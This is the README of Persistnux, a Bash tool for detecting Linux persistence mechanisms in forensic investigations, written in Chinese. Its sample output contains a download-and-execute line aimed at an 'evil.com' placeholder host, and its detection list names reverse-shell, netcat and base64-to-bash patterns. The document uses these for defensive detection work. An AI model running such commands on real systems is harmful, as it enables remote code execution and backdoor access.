返回更新列表
已更新Jul 24, 2026

Persistnux — 已更新!

基于Bash的Linux持久性检测工具,用于DFIR调查。扫描15+种持久性机制(systemd、cron、内核模块、SSH、容器),带有置信度评分,并生成CSV/JSONL报告用于取证分析。

分享

Persistnux

一个全面的Linux持久化检测工具,用于数字取证和事件响应(DFIR)调查。

概述

Persistnux 是一个基于 Bash 的工具,旨在识别攻击者用于维护对受感染系统访问权限的已知 Linux 持久化机制。它对系统执行全面检查,并生成 CSV 和 JSONL 格式的详细报告,便于进一步分析。

特性

  • 全面检测:覆盖所有主要的 Linux 持久化机制
  • 实时分析:直接在运行中的系统上运行,依赖最小
  • 详细输出:生成 CSV 和 JSONL 报告,包含文件哈希、元数据和置信度评分
  • 支持 Root 和非 Root:可在有或没有 root 权限的情况下运行(非 root 模式下范围受限)
  • DFIR 就绪:输出格式兼容常见的 DFIR 工具和工作流程
  • 可疑评分:基于指标自动进行置信度评分(低、中、高、严重)
  • 误报减少:集成包管理器,并内置已知良好服务白名单
  • 基于时间的分析:最近修改的文件获得更高的置信度评分
  • 模式匹配:检测反弹 Shell、下载执行模式、混淆技术

检测到的持久化机制

1. Systemd 服务

  • 服务文件(.service)位于 /etc/systemd/system/lib/systemd/system/usr/lib/systemd/system
  • 用户级别的 systemd 服务
  • 过滤掉已禁用的服务和没有 ExecStart 的服务
  • 检测可疑的 ExecStart 命令
  • 验证所执行二进制文件/脚本的包完整性

2. Cron 作业与计划任务

  • 系统 crontab(/etc/crontab/etc/cron.d/*
  • 周期性执行目录(/etc/cron.{daily,hourly,weekly,monthly}
  • 所有用户的用户 crontab(root 模式)
  • At 作业
  • 计划任务中的可疑命令模式
  • /etc/cron.allow/etc/cron.deny ACL 文件——引用了不存在用户的条目将被标记

3. Shell 配置文件与 RC 文件

  • 系统级配置文件(/etc/profile/etc/bash.bashrc/etc/zshrc
  • Profile.d 脚本(/etc/profile.d/*
  • 用户配置文件(.bashrc.bash_profile.zshrc.profile 等)
  • Fish shell 配置
  • 检测配置文件中的恶意命令

4. Init 脚本与 RC.local

  • /etc/rc.local 及其变体
  • SysV init 脚本(/etc/init.d
  • 运行级别脚本(/etc/rc*.d
  • 检测可疑的下载/执行命令

5. 内核模块与库预加载

  • LD_PRELOAD 配置(/etc/ld.so.preload)——列表中的每个库都通过包管理器验证
  • 动态链接器配置(/etc/ld.so.conf/etc/ld.so.conf.d/)——配置文件完整性 + 非标准路径的 .so 文件被扫描并验证
  • /etc/environment 中的 LD_PRELOAD/LD_LIBRARY_PATH ——环境文件标记为高;引用的库路径被验证(未管理/修改则标记为严重)
  • 内核模块参数(/etc/modprobe.d//etc/modprobe.conf)——文件完整性;分析 install 指令以发现可疑命令目标;安全模块(apparmor、selinux、seccomp)的 blacklist 被标记为高
  • 内核模块自动加载配置(/etc/modules/etc/modules-load.d/)——配置完整性;引用模块名称通过 modinfo 解析为 .ko 文件并验证
  • 已加载的内核模块(lsmod)——枚举和完整性验证

6. 其他机制

  • XDG 自动启动条目(.config/autostart/etc/xdg/autostart)——root 模式扫描所有用户主目录
  • 系统环境文件(/etc/environment)——验证 LD_PRELOAD/LD_LIBRARY_PATH 库路径
  • Sudoers 配置及 drop-in 文件(/etc/sudoers/etc/sudoers.d/)——NOPASSWD/ALL 模式标记为高
  • PAM(可插拔认证模块):
    • 所有 .so 模块通过包管理器验证;遵循 @include 指令;包含 /etc/pam.conf
    • pam_exec.so 脚本分析——缺失/可疑脚本标记为严重
    • pam_python.so / pam_perl.so 中继检测——提取并分析脚本
    • /etc/security/ 中检测 pam_script.so 钩子文件
    • 配置文件完整性——被修改的包所属 PAM 配置标记为严重
    • pam_env.conf~/.pam_environment 中的 LD_PRELOAD 库验证
    • /etc/security/ 常规扫描
  • MOTD 脚本(/etc/update-motd.d/)——包验证;被修改标记为严重
  • Git 凭据助手和 core.pager 设置——对所有用户进行内容分析
  • 常见 Web 目录中的 Web Shell

8. SSH 持久化

  • 每个用户的 ~/.ssh/authorized_keys ——最近修改的密钥被标记;分析 command= 选项内容以发现可疑模式
  • 每个用户的 ~/.ssh/rc ——存在即标记为中;可疑/反弹 Shell 内容标记为高/严重

9. 二进制劫持

  • 对已安装的系统二进制文件与包数据库进行验证(Debian/Ubuntu 使用 dpkg -V,RHEL/CentOS 使用 rpm -Va
  • /usr/bin/usr/sbin/bin/sbin 中被修改的文件标记为严重发现
  • /lib/security 中被修改的 PAM 模块标记为严重发现
  • 排除 conffiles(dpkg 配置文件)以避免误报

10. 引导加载程序与 Initramfs

  • GRUB 的 init= 内核参数注入(/etc/default/grub/etc/default/grub.d/*.cfg
  • / 根目录下的根级 init 脚本
  • 带有 pre-pivot 钩子并向 /sysroot/etc/shadow 写入内容的 Dracut initramfs 模块
  • Ubuntu initramfs-tools 钩子脚本位于 /etc/initramfs-tools/scripts//hooks/
  • 最近修改的 /boot/initrd.img-* 镜像(基于 mtime)

11. Polkit(PolicyKit)操纵

  • 无条件 ResultAny/ResultInactive/ResultActive=yes.pkla 文件
  • 通配符身份(unix-user:*)授权
  • 带无条件 polkit.Result.YES.rules 文件(基于 JavaScript 的 Polkit >= 0.106)

12. D-Bus 与 NetworkManager

  • 恶意 D-Bus 系统服务 Exec= 注册(/usr/share/dbus-1/system-services/
  • D-Bus 策略通配符 allow own="*"send_destination="*" 指令
  • NetworkManager 调度脚本(/etc/NetworkManager/dispatcher.d/

13. Udev 规则

  • 执行任意命令或脚本的 Udev RUN+= 指令(/etc/udev/rules.d//lib/udev/rules.d/
  • /run/udev/rules.d/ 中运行时注入的规则
  • RUN+= 中的 at/cron 委托模式(常见的前台限制绕过)

14. 容器逃逸

  • 特权 Docker 容器(--privileged--pid=host
  • 容器中的 docker.sock 绑定挂载(通过 Docker API 完全控制宿主机)
  • 容器入口点或 Dockerfile 中的 nsenter -t 1
  • 用户可写目录中包含逃逸技术的 Dockerfile

15. 高级二进制与权限检查

  • 跨系统目录扫描活动 SUID/SGID 文件
  • 通过 getcap 进行文件能力扫描——GTFOBins 上的 cap_setuid+ep 标记为严重
  • 二进制劫持:重命名的原始文件(.original.old.bak.real)带有包装脚本
  • /etc/passwd 中 UID 0 的非 root 账户
  • /etc/passwd Shell 字段尾部空格导致的 Shell 掩藏
  • 具有 SSH authorized_keys 文件的系统账户(UID 1-999)

安装

# 克隆仓库
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# 赋予脚本执行权限
chmod +x persistnux.sh

使用方法

基本用法(实时分析)

# 使用默认设置运行(仅显示可疑发现)
sudo ./persistnux.sh

# 显示帮助和所有选项
./persistnux.sh --help

# 以普通用户运行(范围受限)
./persistnux.sh

过滤选项(v2.4+)

默认情况下,Persistnux 仅显示可疑发现(中、高、严重置信度),以减少噪音并聚焦于可操作的威胁。

# 默认:仅显示可疑发现
sudo ./persistnux.sh

# 显示所有发现,包括基线(低置信度)
sudo ./persistnux.sh --all
# 或
sudo FILTER_MODE=all ./persistnux.sh

# 仅显示高和严重置信度发现
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# 组合过滤:仅高置信度
sudo ./persistnux.sh --min-confidence HIGH

自定义输出目录

# 指定自定义输出目录
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# 与过滤结合使用
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh

输出文件

默认情况下,Persistnux 创建一个输出目录 ./persistnux_output/,包含:

  • persistnux_<hostname>_<timestamp>.csv - CSV 格式报告
  • persistnux_<hostname>_<timestamp>.jsonl - JSONL 格式报告(每行一个 JSON 对象)
  • persistnux_<hostname>_<timestamp>_report.txt - 人类可读的摘要报告,包含发现数量和扫描元数据

输出格式

CSV 格式

timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"

JSONL 格式

{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}

关键输出字段

  • matched_pattern:触发发现的检测模式(例如 suspicious_script_contentmodified_packageunmanaged_binary
  • matched_string:实际发现的恶意内容(完整行,而不仅仅是关键词)

置信度评分

Persistnux 使用智能置信度评分以减少误报:

  • :标准系统配置,怀疑度低(通常是包管理的文件)
  • :可能可疑但可能是正常的
  • :检测到可疑模式(例如 cron 中的 curl/wget、/tmp 执行、反弹 Shell)
  • 严重:确凿的篡改证据——包完整性验证失败、可疑文件的 SUID/SGID、PAM 模块异常、临时位置中的 systemd generator,或带有高熵载荷的内联解释器代码

误报减少(v1.2+)

Persistnux 现在包含多项误报减少功能:

  1. 包管理器集成:由 dpkg(Debian/Ubuntu)或 rpm(RedHat/CentOS)管理的文件获得较低的置信度评分
  2. 已知良好服务白名单:常见供应商服务(systemd-、dbus-、snap.* 等)自动跳过
  3. 基于时间的评分:最近修改的文件(<7 天)获得更高的置信度评分
  4. 上下文感知分析:结合多个指标以实现更准确的检测

可疑指标

Persistnux 在检测到以下情况时会自动以更高的置信度标记项目:

基于网络的模式

  • 反弹 Shell:bash -i >& /dev/tcp/sh -i >& /dev/udp/
  • 网络工具:ncnetcatsocattelnet
  • 脚本语言中的套接字操作:python -c 'import socket'

下载并执行模式

  • 下载工具:curl | bashwget | sh
  • 下载后执行:curl URL -o /tmp/file && chmod +x

混淆技术

  • 编码:base64 -d | basheval $(echo BASE64)
  • 动态执行:evalexec

可疑位置

  • 临时目录:/tmp/dev/shm/var/tmp
  • 隐藏目录和文件

权限操纵

  • 使文件可执行:chmod +xchmod 777
  • SUID 位操纵:chmod u+s

要求

  • Bash 4.0+
  • 标准 Unix 工具:findgrepstatsha256sumawkfile
  • 可选:systemctllsmodmodinfogetcapdpkg/rpm(用于特定检查)
  • 无需解释器依赖(纯 Bash + coreutils;不需要 python/jq
  • 建议使用 root/sudo 以进行全面的分析

测试过 / 兼容性

发行版状态备注
Ubuntu 22.04 LTS✅ 已测试主要开发和测试平台
Ubuntu 20.04 LTS✅ 已测试完全支持
Debian 11/12✅ 已测试dpkg 基础,路径约定相同
Kali Linux (rolling)✅ 已测试用于 PANIX 检测基准测试(见下文)
RedHat / RHEL⚠️ 尚未测试rpm 支持已实现但未在真实系统上验证
Fedora⚠️ 尚未测试rpm 支持已实现但未在真实系统上验证
CentOS / AlmaLinux / Rocky⚠️ 尚未测试rpm 支持已实现但未在真实系统上验证

注意: 该工具主要在 Ubuntu/Debian 系统上测试。RedHat、Fedora 和基于 RPM 的发行版的包管理器支持已在代码中实现,但尚未在真实测试环境中验证。欢迎为基于 RPM 的发行版贡献和提供测试报告。

测试 / 基准测试

Persistnux 在 PANIX 上进行了基准测试, PANIX 会安装 Persistnux 所搜索的相同持久化机制。可重复的 测试脚本 tests/panix_benchmark.sh 应用每个 PANIX 技术,运行 Persistnux,并通过基线差异来确认检测。 每个在测试机上适用的基于文件的 PANIX 技术都会以 MEDIUM+ 置信度被检测到。请参阅 PANIX_BENCHMARK.md 以获取完整的 覆盖表和方法。

⚠️ 基准测试会安装真实的后门——仅在一次性虚拟机中运行它。

路线图

  • 用于取证磁盘镜像的离线分析模式
  • UAC(类 Unix 工件收集器)收集集成
  • 在完整虚拟机上将 PANIX 基准测试扩展到引导加载程序/initramfs/LKM 向量

资源

https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX

贡献

欢迎贡献!请随时提交拉取请求或打开问题,内容涉及:

  • 新持久化机制检测
  • 错误修复
  • 文档改进
  • 性能优化
  • 其他输出格式

许可

MIT 许可证 - 详情请参阅 LICENSE 文件

致谢

为 DFIR 社区开发,以协助 Linux 事件响应和取证调查。

免责声明

本工具仅用于授权的安全测试、事件响应和取证分析。用户有责任确保在运行本工具之前拥有适当的授权。

联系方式

如有问题、问题或贡献,请使用 GitHub 问题跟踪器。

分类